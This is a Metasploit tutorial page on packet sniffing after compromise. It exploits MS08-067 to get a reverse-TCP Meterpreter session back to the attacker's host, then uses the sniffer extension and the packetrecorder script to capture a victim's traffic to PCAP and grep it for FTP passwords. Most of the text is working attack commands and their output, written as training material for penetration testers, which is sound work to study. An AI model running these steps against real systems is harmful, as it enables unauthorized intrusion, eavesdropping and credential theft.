Packet Sniffing a11y.text Packet Sniffing Meterpreter has the capability of packet sniffing the remote host without ever touching the hard disk. This is especially useful if we want to monitor what type of information is being sent, and even better, this is probably the start of multiple auxiliary modules that will ultimately look for sensitive data within the capture files. The sniffer module can store up to 200,000 packets in a ring buffer and exports them in standard PCAP format so you can process them using psnuffle, dsniff, wireshark, etc. We first fire off our remote exploit toward the victim and gain our standard reverse Meterpreter console. msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpeter/reverse_tcp

msf exploit(ms08_067_netapi) > set LHOST 10.211.55.126

msf exploit(ms08_067_netapi) > set RHOST 10.10.1.119

msf exploit(ms08_067_netapi) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Triggering the vulnerability...

[*] Transmitting intermediate stager for over-sized stage...(216 bytes)

[*] Sending stage (205824 bytes)

[*] Meterpreter session 1 opened (10.10.1.4:4444 -> 10.10.1.119:1921) From here we initiate the sniffer on interface 2 and start collecting packets. We then dump the sniffer output to /tmp/all.cap .

meterpreter > use sniffer

Loading extension sniffer...success.

meterpreter > help

Sniffer Commands

==========

```
    Command            Description
    -------            -----------
    sniffer_dump       Retrieve captured packet data
    sniffer_interfaces  List all remote sniffable interfaces
    sniffer_start      Capture packets on a previously opened interface
    sniffer_stats      View statistics of an active capture
    sniffer_stop       Stop packet captures on the specified interface

meterpreter > sniffer_interfaces

1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
3 - 'Intel(R) PRO/1000 MT Network Connection' ( type:4294967295 mtu:0 usable:false dhcp:false
wifi:false )

meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)

meterpreter > sniffer_dump 2 /tmp/all.cap
[*] Dumping packets from interface 2...
[*] Wrote 19 packets to PCAP file /tmp/all.cap

meterpreter > sniffer_stats 2
[*] Capture statistics for interface 2
        packets: 4632
```

bytes: 1978363

meterpreter > sniffer_dump 2 /tmp/all.cap

[*] Flushing packet capture buffer for interface 2...

[*] Flushed 5537 packets (3523012 bytes)

[*] Downloaded 014% (524288/3523012)...

[*] Downloaded 029% (1048576/3523012)...

[*] Downloaded 044% (1572864/3523012)...

[*] Downloaded 059% (2097152/3523012)...

[*] Downloaded 074% (2621440/3523012)...

[*] Downloaded 089% (3145728/3523012)...

[*] Downloaded 100% (3523012/3523012)...

[*] Download completed, converting to PCAP...

[-] Corrupted packet data (length:10359)

[*] PCAP file written to /tmp/all.cap

meterpreter > sniffer_stop 2

[*] Capture stopped on interface 2

[*] There are 279 packets (57849 bytes) remaining

[*] Download or release them using 'sniffer_dump' or 'sniffer_release'

meterpreter > sniffer_release 2

[*] Flushed 279 packets (57849 bytes) from interface 2

meterpreter > We can now use our favorite parser or packet analysis tool to review the information intercepted. The Meterpreter packet sniffer uses the MicroOLAP Packet Sniffer SDK and can sniff the packets from the victim machine without ever having to install any drivers or write to the file

system. The module is smart enough to realize its own traffic as well and will automatically remove any traffic from the Meterpreter interaction. In addition, Meterpreter pipes all information through an SSL/TLS tunnel and is fully encrypted. packetrecorder a11y.text packetrecorder As an alternative to using the sniffer extension, Carlos Perez wrote the packetrecorder Meterpreter script that allows for some more granularity when capturing packets. To see what options are available, we issue the run packetrecorder command without any arguments. meterpreter > run packetrecorder
Meterpreter Script for capturing packets in to a PCAP file
on a target host given a interface ID.

OPTIONS:

-h Help menu.

-i Interface ID number where all packet capture will be done.

-l Specify and alternate folder to save PCAP file.

-li List interfaces that can be used for capture.

-t Time interval in seconds between recollection of packet, default 30 seconds. Before we start sniffing traffic, we first need to determine which interfaces are available to us. meterpreter > run packetrecorder -li

1 - 'Realtek RTL8139 Family PCI Fast Ethernet NIC' (type:4294967295 mtu:0 usable:false dhcp:false wifi:false)
2 - 'Citrix XenServer PV Ethernet Adapter' (type:0 mtu:1514 usable:true dhcp:true wifi:false)
3 - 'WAN Miniport (Network Monitor)' (type:3 mtu:1514 usable:true dhcp:false wifi:false) We will begin sniffing traffic on the second interface, saving the logs to the desktop of our Kali system and let the sniffer run for awhile. meterpreter > run packetrecorder -i 2 -l /root/
[*] Starting Packet capture on interface 2

[+] Packet capture started

[*] Packets being saved in to

/root/logs/packetrecorder/XEN-XP-SP2-BARE_20101119.5105/XEN-XP-SP2-BARE_20101119.510

5.cap

[*] Packet capture interval is 30 Seconds

^C

[*] Interrupt

[+] Stopping Packet sniffer...

meterpreter > There is now a capture file waiting for us that can be analyzed in a tool such as

Wireshark or tshark. We will take a quick look to see if we captured anything interesting.

root@kali:~/logs/packetrecorder/XEN-XP-SP2-BARE_20101119.5105# tshark -r

XEN-XP-SP2-BARE_20101119.5105.cap |grep PASS

Running as user "root" and group "root". This could be dangerous.

2489 82.000000 192.168.1.201 -> 209.132.183.61 FTP Request: PASS s3cr3t

2685 96.000000 192.168.1.201 -> 209.132.183.61 FTP Request: PASS s3cr3t Next Pivoting Prev

Enabling Remote Desktop